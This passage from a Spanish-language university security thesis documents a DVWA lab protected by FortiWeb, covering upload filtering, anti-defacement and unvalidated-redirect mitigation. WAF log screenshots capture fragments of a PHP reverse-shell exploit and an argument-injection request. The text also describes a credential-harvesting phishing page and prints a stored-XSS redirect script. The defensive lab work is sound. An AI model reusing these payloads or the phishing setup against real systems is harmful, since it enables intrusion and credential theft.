Web Protection	~	Name	Status	False Positive Mitigation	Action	Block Period	Severity	Irig	ger Actio	n
Known Attacks	~	Cross Site Scripting	•		Alert & Deny	00	High			
Signatures		Cross Site Scripting (Extended)	C		Alert & Deny	60	Medium			
Custom Signature		SQL Injection	O	C	Period Block	20	High			
Advanced Protection	>	SQL Injection (Extended)			Period Block	60	Medium			
Cookie Security		SQL Injection (Syntax Based Detection	on) 🔍		Period Block	60	High			
Input Validation	>	Generic Attacks			Alert & Deny	60	High			
Protocol		Generic Attacks(Extended)			Alert	60	Medium			
Access	>	Known Exploits			Alert & Deny	60	High			
XML Protection		Trojans			Alert & Deny	60	High			
Web Anti-Defacement		Bad Robot	•		Alert & Deny	60	Low			
FTP Security	>	Information Disclosure			Erase & Alert	60	High			
DoS Protection	>	Personally Identifiable Information			Alert & Deny	60	High			
IP Protection	2	Detection Threshold	1							
	2				Act	ivar Window	/S			
Web Vulnerability Scan			ОК	Cancel Signa	ature Details		PC para acti	ivar Wir	ndows.	
Q VVeb vumerability scan	/ *									
🕂 🙆 貰	6	<b>O</b>					• II)	<b>Pa</b> IR	20:1 21/04/	12 2019



Ahora vamos a configurar la seguridad de archivos para solo permitir la carga de archivos JPG y PNG en la url **192.168.1.1/dvwa/** y activando el antivirus en la política.

🕄 FortiWeb - FortiWeb		х	+																								- 6	5	Х
↔ ∀ ⊕				i) 192	.168.1.	<b>1</b> :1044/i	ndex											80	0%	•••	⊌	☆			li	۱\	)	Ŧ	Ξ
FortiWeb-VM For	tiWe																									(?	) >	<u> </u>	
🖨 System	>	^ Fi	le Secu	rity Polic	y File	Security	Rule																						
FortiView	>	E	dit File	Security	Rule																								
🚨 User	>																												
Policy	>	N	lame			File_up	load_dvw	Na																					
Server Objects	>	Т	ype			Allow	ile Types	s Bloc	ck File 1	Types																			
Application Delivery	>	E	lost Sta	tus																									
Web Protection	~	H	lost			192.10	58.1.1				•																		
Known Attacks	>	R	lequest	URL Typ	е	Simple	String	Regular	ir Expre	ession																			
Advanced Protection	>	R	equest	URL		/dvwa/	vulnerabi	vilities/u	upload/	/																			
Cookie Security		F	ile Uplo	oad Limit		100					(0	)-10240	0)(KByte	s)															
Input Validation	~												_																
Parameter Validation					_									OK		Cancel													
Hidden Fields		1	Creat	e New	🛄 Del	ete																							
File Security				ID												File Type	es												
Protocol		[		1												JPG													
Access	>	[		2												PNG													
XML Protection																													
Web Anti-Defacement																													
FTP Security	>																												
DoS Protection	>																												
Protection	>																			Activ	/ar \	Min	dows						
Tracking	>																		1	r a Co	onfic	uració	ón de P	C nara		r Wir			
Auto Learn	>	~																						- para					
Q												_	I STORE		_						_							17.04	
- e 📄	6		9																					4	() R	ត	22/	17:01 /04/20	019

Figura 107. Creación de regla para permitir la carga de ciertos archivos

🛟 FortiWeb - FortiWeb		× +									-	٥	×
← → ♂ ☆			③ 192	2.168.1.1:1	1044/index				80% … ⊽ ☆	11\	1	Q.	-0
FortiWeb-VM For	tiWeb										?	>_	
System	> ^	File Se	curity Polic	y File Se	ecurity Rule								
FortiView	>	Edit Fi	le Security	Policy									
🚨 User	>												
Policy	>	Name			Policy_upload_dvwa								
Server Objects	>	Action	ı		Alert & Deny	•							
Application Delivery	>	Block	Period		60		(1~3600)(Seconds)						
Web Protection	~	Severi	ity		Medium	•							
Known Attacks	>	Trigge	r Action		Please Select	•							
Advanced Protection	>	Trojan	Detection	ı									
Cookie Security		Antivi	rus Scan										
Input Validation	~	Send F	Files to For	tiSandbox	•								
Parameter Validation		Scan A	Attachmen	ts in Email									
Hidden Fields													
File Security							ОК	Cancel					
Protocol		+Cre	ate New	🗹 Edit	Delete 🗐 Insert 💠 N	love							
Access	>		ID					File Security Rule					
XML Protection			1					File_upload_dvwa					
Web Anti-Defacement													
FTP Security	>												
DoS Protection	>												
Protection	>								Activar Wi	dows			
Tracking	>								Ir a Configura	ión de PC nara activar			
Auto Learn	> ~												
Q												20.4	
🛏 健 📋	١									- IV 🖿	<mark>ها</mark> 2	20:11 1/04/2	019

Figura 108. Activando escáner de antivirus y troyanos



Intentamos subir el archivo urls **dvwa.txt** y vemos como Fortiweb bloquea la carga del archivo.

Damn Vulnerable Web App (DVV) × +		-	8	X
← → C 0 No seguro   192.168.1.1/dvwa/vulnerabilities/upload/	<u>s</u>	> ☆	θ	÷
DVWA				Í
Home   Instructions   Setup   Brute Force   Command Execution   CSRF   File Inclusion   SQL Injection (Blind)   Upload   XSS strefected   XSS stored   DVWA Security   PHP Info   About				
Logout Activar Windows Ir a Configuración de PC par				
	¢.	8 17	20:4 21/04/2	16 2019

Figura 109. Subiendo archivo txt malicioso



Figura 110. Bloqueo de FortiWeb

A continuación, se puede visualizar los logs producidos por el bloqueo de subir archivos no admitidos y cuando acceden el tamaño máximo establecido al servidor.

🛟 FortiWeb - FortiWeb		х	+								- 1	3	Х
$\overleftarrow{\bullet}$ > C $\widehat{\bullet}$			(i) 1	92.168.1.	<b>1</b> :1044/index				80% 🗹 🏠	111	=	Qu	-0
FortiWeb-VM For	tiWeb										?	>_	•
System	> ^	Atta	acks Aggr	regated At	tacks								
FortiView	>	0											
Llser	>	v	X Severit	y Level: ! I	nformative	Add Filter					X	L	Ы
Policy	,	#	Date/Time	Policy	Source	Destination	Threat Level	Action	Message	HTTP Host			
	<i>.</i>	1	15:59:28	DVWA	192.168.1.2	20.20.20.5		Alert_Deny	filename [Captura de pantalla (1).png]: Illegal file size	192.168.1.1	/dvwa/	vulner	r <mark>at</mark> ^
Server Objects	>	2	15:56:46	DVWA	192.168.1.2	20.20.20.5		Alert_Deny	filename [Captura de pantalla (1).png]: Illegal file size	192.168.1.1	/dvwa/	vulner	at
Application Delivery	>	3	15:55:34	DVWA	192.168.1.2	20.20.20.5		Alert_Deny	filename [urls dvwa.txt]: Illegal file type	192.168.1.1	/dvwa/	vulner	at
Web Protection	~	4	15:55:20	DVWA	192.168.1.2	20.20.20.5		Alert_Deny	filename [urls dvwa.txt]: Illegal file type	192.168.1.1	/dvwa/	vulner	rat
Known Attacks	>	5	15:53:38	DVWA	192.168.1.2	20.20.20.5		Alert_Deny	filename [urls dvwa.txt]: Illegal file type	192.168.1.1	/dvwa/	vulner	at
Advanced Protection	>	6	15:47:27	DVWA	192.168.1.2	20.20.20.5		Alert_Deny	filename [urls dvwa.txt]: Illegal file type	192.168.1.1	/dvwa/	vulner	rat
	<u> </u>	7	15:47:06	DVWA	192.168.1.2	20.20.20.5		Alert_Deny	filename [urls dvwa.txt]: Illegal file type	192.168.1.1	/dvwa/	vulner	at
Cookie Security		8	15:46:39	DVWA	192.168.1.2	20.20.20.5		Alert Deny	filename [urls dvwa.bxt]: Illegal file type	192.168.1.1	/dvwa/	vulner	at
Input Validation	>	9	15:46:33	DVWA	192.168.1.2	20.20.20.5		Erase	HTTP Header triggered signature ID 080200004 of Signatures policy DVWA_Signatures	192.168.1.1	/dvwa/	vulner	rat
Protocol		10	15:46:33	DVWA	192.168.1.2	20.20.20.5		Erase	HTTP Header triggered custom signature rule Custom_signature_dvwa	192.168.1.1	/dvwa/	vulner	а 🔳
Access	>	11	15:46:30	DVWA	192.168.1.2	20.20.20.5		Erase	HTTP Header triggered signature ID 080200004 of Signatures policy DVWA_Signatures	192.168.1.1	/dvwa/	instru	ct
	<u> </u>	12	15:46:30	DVWA	192.168.1.2	20.20.20.5		Erase	HTTP Header triggered custom signature rule Custom_signature_dvwa	192.168.1.1	/dvwa/	instru	cti
XML Protection		13	15:46:27	DVWA	192.168.1.2	20.20.20.5		Alert_Deny	Page Access Rule Violation	192.168.1.1	/dvwa/	index.	ph
Web Anti-Defacement		14	15:46:27	DVWA	192.168.1.2	20.20.20.5		Erase	HTTP Header triggered signature ID 080200004 of Signatures policy DVWA_Signatures	192.168.1.1	/dvwa/	login	
FTP Security	>	15	15:46:27	DVWA	192.168.1.2	20.20.20.5		Erase	HTTP Header triggered custom signature rule Custom_signature_dvwa	192.168.1.1	/dvwa/	login	_
DoS Protection	>	16	15:46:18	DVWA	192.168.1.2	20.20.20.5		Erase	HTTP Header triggered signature ID 080200004 of Signatures policy DVWA_Signatures	192.168.1.1	/dvwa/	login	_
IP Protection		17	15:46:18	DVWA	192.168.1.2	20.20.20.5		Erase	HTTP Header triggered custom signature rule Custom_signature_dvwa	192.168.1.1	/dvwa/	login	_
	<i>′</i>	18	15:46:11	DVWA	192.168.1.2	20.20.20.5		Redirect	Start Page Violation	192.168.1.1	/dvwa/	instru	cti
	>	19	13:30:42	DVWA	192.168.1.2	20.20.20.5		Erase	HTTP Header triggered signature ID 080200004 of Signatures policy DVWA_Signatures	192.168.1.1	/mutilli	idae/?r	pa;
Auto Learn	>	20	13:30:42	DVWA	192.168.1.2	20.20.20.5		Erase	HTTP Body triggered signature ID 080030001 of Signatures policy DVWA_Signatures	192.168.1.1	/mutilli	idae/?r	paj
<b>Q</b> Web Vulnerability Scan	>	21	13:30:42	DVWA	192.168.1.2	20.20.20.5		Erase	HTTP Header triggered custom signature rule Custom_signature_dvwa	192.168.1.1	/mutilli	idae/?p	pa;
Log&Report	>	22	13:30:26	DVWA	192.168.1.2	20.20.20.5		Erase	HTTP Header triggered signature ID 080200004 of Signatures policy DVWA Signatures	192.168.1.1	/mutilli	idae/	~
C Monitor		<							Ir a Configuración de PC pa	ira activar V	Vindov	NS.	>
Q	/ *							<	✓ 1 /79 > » [Total:7842]				
🗄 🙆 📋	٩		<b>9</b>	ý						0 😼	21	21:00 /04/20	0 019

Figura 111. Logs que muestran el bloqueo en Fortiweb

Ahora intentaremos ejecutar el **exploit** desde Kali Linux y veremos cómo Fortiweb logra bloquear el ataque.



Figura 112. Bloqueo de Fortiweb al intento de ejecución de exploit

Ahora veremos logs en FortiWeb, donde visualizaremos el bloqueo y podremos ver la ip origen del atacante para poder agregarlo a una lista negra.

SITIO WEB HACKEADO		x	🛟 FortiWel	o - FortiWe	eb X	+					_ ā ×
$\leftrightarrow$ > C $$			i) 19	2.168.1.1:	1044/index					80% 🛛 🖧	₩\ ▲ 🗇 🗏
FortiWeb-VM For	rtiWeb	1									?≻ ເ>
System	> ^	Att	acks Aggre	gated Atta	cks						
FortiView	>									Sub Type	HTTP Duplicated Parameter Name
L Iser	Ś	0	X Severity	Level: ! Inf	ormative 🖸 A	dd Filter			×L	Threat Level	
Deline	(	#	Date/Time	Policy	Source	Destination	Threat Level	Action	M	Threat Weight	5
	>	€1	08:30:12	DVWA	192.168.1.15	20.20.20.5		Alert_Deny	Duplicated Parameter Name	Historical Threat Weight	0
Server Objects	>	2	08:23:16	DVWA	192.168.1.15	20.20.20.5		Redirect	Start Page Violation	User Agent	Mozilla/4.0 (compatible; MSIE 6.0; Windows
Application Delivery	>	3	08:23:16	DVWA	192.168.1.15	20.20.20.5		Alert	Duplicated Parameter Name	Massaga	NI 5.1) Dunlicated Parameter Name
Web Protection	>	4	08:19:36	DVWA	192.168.1.15	20.20.20.5		Redirect	Start Page Violation	меззаде	
FTP Security	>	5	08:19:36	DVWA	192.168.1.15	20.20.20.5		Alert	Duplicated Parameter Name	Connection	
	,	6	08:17:03	DVWA	192.168.1.15	20.20.20.5		Redirect	Start Page Violation	192.168.1.15:39379 -	20.20.20.5:80
Dos Frotection	· /	7	08:17:03	DVWA	192.168.1.15	20.20.20.5		Redirect	Start Page Violation	Matched pattern	
IP Protection	>	8	08:16:46	DVWA	192.168.1.15	20.20.20.5		Erase	HTTP Header triggered signature ID 0	is_callable(\$f)) { \$s	
Tracking	>	9	08:16:46	DVWA	192.168.1.15	20.20.20.5		Erase	HTTP Header triggered custom signat	Packet Header	
Auto Learn	>	10	08:16:46	DVWA	192.168.1.15	20.20.20.5		Erase	HTTP Header triggered signature ID 0	POST /?define allow_ur	include=ON -d safe_mode=0 -d suhosin.simul
• Web Vulnerability Scan	>	11	08:16:46	DVWA	192.168.1.15	20.20.20.5		Erase	HTTP Header triggered custom signat	ation=TRUe -d disable_fu	ctions=""define open_basedir=nonedefin
Lill Log&Report	~	12	08:16:46	DVWA	192.168.1.15	20.20.20.5		Erase	HTTP Header triggered signature ID 0	direct status env=0 -n H	TP/1.1
Logarcport		13	08:16:46	DVWA	192.168.1.15	20.20.20.5		Erase	HTTP Header triggered custom signatu	Host: 192.168.1.1	
Log Access	×	14	08:16:46	DVWA	192.168.1.15	20.20.20.5		Erase	HTTP Header triggered signature ID 0	User-Agent: Mozilla/4.0 (	ompatible; MSIE 6.0; Windows NT 5.1)
Attack		15	08:16:46	DVWA	192.168.1.15	20.20.20.5		Erase	HTTP Header triggered custom signatu	Content-Type: application	/x-www-form-urlencoded
Event		16	08:16:43	DVWA	192.168.1.15	20.20.20.5		Erase	HTTP Header triggered signature ID 0	Content-Length: 1119	
Traffic		17	08:16:43	DVWA	192.168.1.15	20.20.20.5		Erase	HTTP Header triggered custom signati	X-Forwarded-For: 192.16	3.1.15
Download		18	08:15:14	DVWA	192.168.1.15	20.20.20.5		Redirect	Start Page Violation	Raw Body:	
Derest	_	19	08:15:14	DVWA	192.168.1.15	20.20.20.5		Alert	Duplicated Parameter Name	224 /8 224 /8/ 2000	
керогт	<u> </u>	20	08:14:59	DVWA	192.168.1.15	20.20.20.5		Erase	HTTP Header triggered signature ID 0	44: if ((\$f = 'stream sock	t client') && is callable(\$f)) { \$s = \$f("tcp://{\$
Log Policy	>	21	08:14:59	DVWA	192.168.1.15	20.20.20.5		Erase	HTTP Header triggered custom signati	ip]:{\$port}"); \$s_type = 's	ream': } if (!\$s && (\$f = 'fsockopen') && is_call
Log Config	>	22	08:14:54	DVWA	192.168.1.15	20.20.20.5		Redirect	Start Page Violation	able(\$f)) { \$s = \$f(\$ip, \$p t create) && is callable	rt); \$s_type = 'stream'; } if (!\$s && (\$f = 'socke ft){-\$s} = \$f(AE-INET-SOCK-STREAM-SOL_T
C Monitor	> ~	<							>	CP); \$res = @socket_con	ect(\$s, \$ip, \$port); if (!\$res) { die(); } \$s_type
Q					«	< 1	/79 > »	[Total:789	4]	= 'socket'; } if (!\$s_type) {	die('no socket funcs'); } if (!\$s) { die('no socket
🕂 🙆 貰	6		9								▲ 🕕 🎦 13:31 22/04/2019

Figura 113. Log que muestra el bloqueo de Fortiweb a la conexión de exploit

Adicionalmente Fortiweb nos permite configurar un Anti defacemente, mantiene hashes de archivos en su Apache, IIS u otro directorio de sitio web. Periódicamente, FortiWeb se conecta al servidor para ver si los archivos han cambiado. Si detecta un cambio y usted no le dijo explícitamente a FortiWeb que ocurriría un cambio autorizado, entonces FortiWeb puede enviarle un correo electrónico o revertir automáticamente los archivos a una copia limpia. Esto puede ayudar a minimizar el impacto de desfiguraciones masivas de unidades de disco en los proveedores de hosting, mientras trabajas para descubrir y analizar el agujero de seguridad.



#### Universidad de Buenos Aires – Especialización en Seguridad Informática

🛟 FortiWeb - FortiWeb		X Damn Vulnerable Web App (DVWA X	+		- 1	5	×
← → ♂ ☆		🛈 🔏 192.168.1.1:1044/index		(80%) ···· 🛛 🏠 💷		Ţ	-@
FortiWeb-VM For	tiWeb				?	>_	•
System	> ^	Anti Defacement Anti Defacement File Filte	er				
📥 FortiView	>	Edit Web Site with Anti-Defacement					
🛓 User	>						
Policy	>	Web Site Name:	Sistema_dvwa	*			
Server Objects	>	Description:					
Application Delivery	>			<u>á</u>			
Web Protection	~	Enable Monitor:					
Known Attacks	>	Hostname/IP Address:	20.20.20.5	•			
Advanced Protection	>	Connection Type:	SSH 💌	*			
Cookie Security		FTP/SSH Port:	22				
Input Validation	>	Folder of Web Site:	/var/www/dvwa/	*			
Protocol		File Filter:	Please Select				
Access	>	User Name:	msfadmin	• -			
XML Protection	<u> </u>	Password:	•••••				
Web Anti-Defacement		Alert Email Policy:	Please Select				
ETP Security	\$	Monitor Interval for Root Folder:	60	Seconds			
DoS Protection	Ś	Monitor Interval for Other Folder:	600	seconds			
IP Protection	Ś	Skin Filee Larger Than:	10240	KButes			
Tracking	Ś	Skip Files With These Extensions:	10110	e.g. "iso. avi. zip"			
Auto Learn	>	Restore Changed File Automatically:		1-0			
Web Vulnerability Scan	>	Acknowledge Changed File Automatically:					
III Log&Report	>						_
C Monitor	> v		ОК	Cancel Test Connection			
٩							
<b>e</b>	6	9			24	0:09 /04/20	19

Figura 114. Configuración de antidefacement en Fortiweb

🕄 FortiWeb - FortiWeb		X Damn Vuln	erable Web App (D\	wax +					_ 🗇 🗙
$\leftrightarrow$ $\rightarrow$ C $\textcircled{a}$		(i) 19	9 <b>2.168.1.1</b> :1044/ir	ndex			80%	⊠ ☆	∭\ ▲ 🗊 🖆
FortiWeb-VM Fo	rtiWeb								?≻ ⊳
System	> ^	Anti Defacemen	t Anti Defacemer	nt File Filter					
FortiView	>	+Create New	🗹 Edit 🖞 De	elete 💿 View 🦘 Revert	C Refresh				
👗 User	>	#	Name	Hostname/IP	Monitor	Connected	Total Files	Total Backup	Total Changed
Policy	>	1 Sis	stema_dvwa	20.20.20.5	Enable	-2-	142	142	0
Server Objects	>								
Application Delivery	>								
Web Protection	~								
Known Attacks	>								
Advanced Protection	>								
Cookie Security									
Input Validation	>								
Protocol									
Access	>								
XML Protection									
Web Anti-Defacement									
FTP Security	>								
DoS Protection	>								
Protection	>								
Tracking	>								
E Auto Learn	>								
Q Web Vulnerability Scan	>								
Log&Report	>								
C Monitor	> ~								
Q									0.10
- C 📑	0	9						4	24/04/2019

Figura 115. Verificando el estado de conexión con el servidor web



#### Universidad de Buenos Aires - Especialización en Seguridad Informática

🛟 FortiWeb - FortiWeb		X 🙋 Damn Vulnerable We	b App (DV 🗙 🕇						-	8	Х
← → ♂ ☆		(i) 192.168.1.1:10	44/index		80%	🗵 .	\$	111	•	₽	-0
FortiWeb-VM For	tiWel								?	>_	0
System	> '	Anti Defacement Anti Defa	cement File Filter								
FortiView	>	Web Site Backup Files - Sister	na_dvwa	Return							
🛓 User	>	Sistema dywa									
Policy	>	+ config (2)		Name		Size(bytes)	Date Modified				
Server Objects	>	+ docs (1)	Config			4096	2019-04-23 19:00:28				
Application Delivery	>	+ external (1)				4096	2019-04-23 19:00:28				
A Web Protection		+ hackable (2)	C dvwa			4096	2019-04-23 19:00:28				
		+ vulnerabilities (12)	C external			4096	2019-04-23 19:00:28				
Known Attacks	<u> </u>		D hackable			4096	2019-04-23 19:00:28				
Advanced Protection	>		U vulnerabilities			4096	2019-04-23 19:00:28				
Cookie Security			htaccess			497	2010-09-08 18:49:16			0 1	۵.
Input Validation	>		Dabout.php			2792	2010-08-26 08:15:16			0	۵.
Protocol			CHANGELOG.txt			5066	2010-06-06 16:55:14			0 1	۵ ۱
A	_		COPYING.txt			33107	2010-03-15 21:56:22			0 [	<u>ل</u>
Access	_		Dfavicon.ico			1406	2010-09-06 07:59:42			0 [	۵ -
XML Protection	_		Lids_log.php			883	2010-03-15 21:56:22			0 [	۵ ۵
Web Anti-Defacement			[]index.php			1884	2012-05-20 11:51:49			0 [	۵ -
FTP Security	>		instructions.php			1761	2010-03-15 21:56:22			0 [	۵.
DoS Protection	>		L]login.php			2645	2012-05-20 11:52:33			0 [	۵ ۵
ID Protection			logout.php			413	2010-03-15 21:56:22			0 [	۵
	1		L]php.ini			148	2009-07-05 12:31:50			0 1	۵ ۵
Tracking	>		phpinfo.php			193	2010-03-15 21:56:22			0 [	۵ -
Auto Learn	>		README.txt			4934	2010-03-15 21:56:22			0 [	۵
Q Web Vulnerability Scan	>		Probots.txt			26	2010-03-15 21:56:22			0 [	۵.
III Log&Report	>		security.php			2738	2010-03-15 21:56:22			0 [	۵ -
Monitor		,	☐setup.php			1350	2010-06-06 19:58:00			0 [	<u>ال</u>
Q											
H 🙆 🚞	6	0	1				• I)	<b>R</b> 17	24	0:15	019

Figura 116. Archivos copiados por Fortiweb

# 16. Ataque de redirecciones y reenvíos no validados

### 16.1 Redirecciones y reenvíos no validados

Al igual que A4, A10 trata con las entradas que la aplicación web no ha validado. En este caso, es específicamente entradas para redirecciones. Las aplicaciones deben verificar ambos:

- Destino válido (si se permiten redireccionamientos externos).
- Autorización de la persona para ir a esas páginas web.

El atacante crea enlaces para que la víctima haga clic que luego son llevados a una aplicación de confianza y allí los atacantes instalan el código malicioso. Veremos cómo después de realizar el inicio de sesión en el sistema nos redirecciona a la url **index.php**, podemos ver el código de estado 302 que significa redireccionamiento.



o No seguro ( 1	92.168.1.1/dvwa/index.php		Se or 🕁 🧱 (
	D١	Image: Constraint of the second s	Console Sources Network Performance Memory Application Security » View: :: :: :: :: :: :: :: :: :: :: :: :: :
Home	Welcome to Dan	100 ms	200 ms 300 ms 400 ms 300 ms 600 ms
Instructions Setup	Damn Vulnerable Web App (DVWA to be an aid for security profession: better understand the processes of application security in a class room	Name	× Headers Preview Response Cookies Timing
Brute Force Command Execution CSRF File Inclusion SQL Injection (Blind) Upload XSS reflected XSS stored DVWA Security PHP Info About	WARNING! Dam Vulnerable Web App is dam any internet facing web server as it onto a local machine inside your Le <b>Disclaimer</b> We do not take responsibility for th the application clear and it should r prevent users from installing DVWA of DVWA it is not our responsibility <b>General Instructions</b> The help button allows you to view page.	loga.pnp	<ul> <li>▼ General</li> <li>Request URL: http://192.168.1.1/dvwa/login.php</li> <li>Request Method: POST</li> <li>Status Code: ● 302 Found</li> <li>Remote Address: 192.168.1.1:80</li> <li>Referrer Policy: no-referrer-when-downgrade</li> <li>▼ Response Headers view source</li> <li>Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0</li> <li>Connection: Keep-Alive</li> <li>Content-Toppe: text/html</li> <li>Date: Tue, 23 Apr 2019 03:29:40 GMT</li> <li>Expires: Thu, 19 Hov 1981 08:52:00 GMT</li> <li>Keep-Alive: timeout=15, max=100</li> <li>Location: index.php</li> <li>Pragma: no-cache</li> </ul>

Figura 117. Código de estado 302

Veremos un ejemplo de como un **pishing** puede engañar fácilmente a un usuario para así poder obtener sus credenciales. Tenemos un usuario malicioso que tiene en su servidor web con 3 archivos, un archivo **hack.html** que tiene la apariencia del sistema web **DVWA**, también cuenta con un archivo **contra.php** el cual tiene definido poder capturar las credenciales ingresadas en la página falsa luego de ello los redirecciona hacia el sitio web real y por último tenemos un archivo **cuentas.txt** para poder almacenar las credenciales.

	Index of /dvwa	×	•	+				
~	→ C ()	localhost/dvwa/						
Ir	ndex of /	dvwa						
	Name	<u>Last modifie</u>	d	<u>Size</u>	<b>Description</b>			
	Parent Directory			-				
	contra.php	2019-04-24 13:	19	273				
	cuentas.txt	2019-04-24 13:	:30	63				
	hack.html	2019-04-24 03:	19	1.2K				
Apc	ache/2.4.39 (Win6	4) OpenSSL/1.1	.15	PHP	/7.3.4 Server	at local	host Port a	80

Figura 118. Archivos creados en servidor web malicioso

☑ Damn Vulnerable Web App (DVV × +		-	٥	Х
← → C (② No seguro   192.168.1.16/dvwa/hack.html	☆		θ	:
				_
Username Password				
Login				
Damn Vulnerable Web Application (DVWA) is a RandomStorm OpenSource project				
Hint: default username is 'admin' with password'				
	-			
	0 🖪	17	15:3 24/04/3	2 2019

Figura 119. Usuario recibe url maliciosa e ingresa sus credenciales





A continuación, vemos las credenciales grabadas en el archivo

#### cuentas.txt.



Figura 121. Atacante almacenó las credenciales del usuario

Ahora ingresaremos un script en XSS stored que nos permitirá redirigiros a un sitio web malicioso, como veremos se ejecuta con normalidad.



Figura 122. Script malicioso ejecuta un redireccionamiento

El script usado es el siguiente:

```
<body>
<script type="text/javascript">
window.location="http://www.cristalab.com";
</script>
</body>
```

Figura 123. Script malicioso

# 16.2 Mitigaciones para ataques de redirecciones y reenvíos no validados.

FortiWeb nos permite realizar reglas de validación de entradas, pero específicamente sobre temas de redireccionamiento, también podemos usar las restricciones de acceso a ciertas url como vimos con anterioridad.

🛟 FortiWeb - FortiWeb		×	Damn Vulne	rable Web	App (DVWA)	× +									-		×
← → ♂ ✿			i 19	2.168.1.1	:1044/index					80%	•••	⊌	☆	11	\	Ţ	Ξ
FortiWeb-VM For	tiWel														?	>_	•
System	> 1	Par	ameter Valida	ation Policy	Parameter	Validation Rule											
FortiView	>	Edi	it Parameter \	/alidation F	Rule												
🚨 User	>																
Policy	>	Na	me		Auto_learn-20	190309005548-0											
Server Objects	>	Ho	st Status														
+ Application Delivery	>	Ho	st		192.168.1.1		•										
Web Protection	~	Re	quest URL Ty	pe	Simple String	Regular Expression											
Known Attacks	>	Re	quest URL	[	/dvwa/login.p	hp											
Advanced Protection	>	Ac	tion	[	Alert & Deny		•										
Cookie Security		Blo	ock Period		60	Seconds (1 - 3600)											
Input Validation	~	Ser	verity		Low	•											
Parameter Validation		Tri	gger Policy		Please Select		•										
Hidden Fields																	
File Security								ОК	Cancel								
Protocol		+	Create New	🗹 Edit	🛍 Delete												
Access	>	IC	)	Name		Max Length		Data Type	Required		Name	Туре		Use Ty	pe Che	eck	
XML Protection		1		username	8	5		Strings	No		Simple S	String		E	hable		
Web Anti-Defacement		3		redirect t	0	30		URI	No		Simple S	itring		E	nable		
FTP Security	>																
DoS Protection	>																
Protection	>																
Tracking	>																
Auto Learn	> \	-															
Q																	
🕂 (2) 🏢	6		9											- I 🖡	ផ្ល	2:2 25/04/	6 2019

Figura 124. Reglas de validación

🕄 FortiWeb - FortiWeb	×	🖸 Damn Vulnerable	e Web App (DV 🗙	+								-	0	×
← → ♂ ŵ		③ 192.168.1.	<b>1</b> :1044/index				80%	•••		2	111			Ш
FortiWeb-VM FortiWe	eb											?		
🔅 System	>	Parameter Validation Poli	cy Parameter Va	lidation Rule										
FortiView	>	Edit Parameter Validation	Rule											
🚨 User	>													
Policy	>	Name	Validation_xss											
📑 Server Objects	~	Host Status												
Server	>	Host	192.168.1.1	•	•									
Protected Hostnames		Request URL Type	equest URL Type Simple String Regular Expression											
Service		Request URL	/dvwa/vulnerabi	lities/xss_s/										
Global	>	Action	Alert & Deny		-									
X-Forwarded-For		Block Period	60		Seconds (1 - 3600)									
+ Application Delivery	>	Severity	Medium		•									
Web Protection	>	Trigger Policy	Please Select		•									
FTP Security	>													
DoS Protection	>				ОК	Cancel								
Protection	, ·	+Create New Edi	t 🔟 Delete											
Tracking	>	ID Name		Max Length	Data Type	Required		Na	me Typ	e U	se Typ	e Cheo	:k	
Auto Learn	,	1 mtxMess	age	50	Strings	No		Sim	ple Strir	Ig	Ena	ble		
Web Vulnerability Scan	>	z txtNan	10	20	Personal Name	No		Sim	ple Strir	1g	Ena	ble		
III Log&Report	>													
C Monitor	>													
-														
0	_													
📲 (ð) 🚞 (	5	9								<u>~</u> ()	6	2	2:53 5/04/2	019

Figura 125. Reglas de validación



🕄 FortiWeb - FortiWeb 🛛 🗙	Damn Vulnerable Web App (DV 🗙	+			-	8	Х
← → ♂ ŵ	(i) 192.168.1.1/dvwa/vulnerab	ilities/xss_s/	E 80% ···· 🗸	\		Ţ	Ξ
	Home Instructions Setup Brute Force Command Execution CSRF File Inclusion SQL Injection SQL Injection (Blind) Upload XSS reflected XSS stored DVWA Security PHP Info About Logout Username: admin Security Level: low PHPIDS: disabled	Name *       Anarymous         **vori*       **vori*         **vori*       **vori* <td< th=""><th>Scripting (XSS)</th><th></th><th></th><th></th><th></th></td<>	Scripting (XSS)				
🕂 ⋵ 🚞 👲	9			- 🕩 🖪	а <sub>2</sub>		

Figura 126. Ejecutando script malicioso

😫 FortiWeb - FortiWeb	X The URL you	requested has been bl 🕽	< +								- (	5	×
↔ ∀ ♀ ♀	i) 19	2.168.1.1/dvwa/vulner	abilities/xss_s/		(80%) ···· 🗵 🏠							ŀ	Ξ
								_					
	Web Page Blog	kedi											
	Web Page bloc	ACC:											
	The page cannot be displayed. Please contact the administrator for additional information.												
	URL: 192.168.1.1/dvwa/v	ulnerabilities/xss_s/											
	Client IP: 192.168.1.2 Attack ID: 20000005 Message ID: 000000026	14											
🗏 🙆 🊞	6 9								- 1	<b>R</b> (	25	2:59 /04/ <u>20</u>	19
		Fig	ıra 127	Bloqueo	de Fo	rtiWeb							



En los logs de Fortiweb podemos visualizar como se bloqueó primero por un tema de validación si el atacante lograba pasar la primera validación la firma contra ataques de **XSS** entraría en acción para mitigarlo.

🕄 FortiWeb - FortiWeb		×	The URL you r	equested ha	s been bil 🗙	+				-	8	×
↔ ở ŵ			<ul><li>i) 192</li></ul>	. <b>168.1.1</b> :104	14/index		80% 🗵	☆	liil\	٠		Ξ
FortiWeb-VM For	tiWe	b								?	>_	•
System	>	^ Att	acks Aggreg	ated Attacks	1							
FortiView	>	~	• Countitu L	aval: Unform	antino Ad	dEiltor						DA.
🛔 User	>		· Jevency L	even innom	aure V Au						La	
Policy	,	icy	Source	Destination	Threat Level	Action	Message	HTTP Host				
	ĺ.	WA	192.168.1.2	20.20.20.5	-	Alert_Deny	Parameter name - (mtxMessage) triggered paramater validation	192.168.1.1	/dvwa/vulnerabilit	ies/xss	_s/	^
Server Objects	?	WA	192.168.1.2	20.20.20.5	MACTOR .	Erase	HTTP Header triggered signature ID 080200004 of Signatures policy DVWA_Signatures	192.168.1.1	/dvwa/vulnerabilit	ies/xs	_s/	
Application Delivery	>	WA	192.168.1.2	20.20.20.5		Erase	HTTP Header triggered custom signature rule Custom_signature_dvwa	192.168.1.1	/dvwa/vulnerabilit	ies/xss	_s/	
Web Protection	>	WA	192.168.1.2	20.20.20.5	##(III)	Erase	HTTP Header triggered signature ID 080200004 of Signatures policy DVWA_Signatures	192.168.1.1	/dvwa/instruction	s		
FTP Security	>	WA	192.168.1.2	20.20.20.5		Erase	HTTP Header triggered custom signature rule Custom_signature_dvwa	192.168.1.1	/dvwa/instruction	s		
DoS Protection	\$	WA	192.168.1.2	20.20.20.5	(INC.)	Alert_Deny	Page Access Rule Violation	192.168.1.1	/dvwa/index.php			
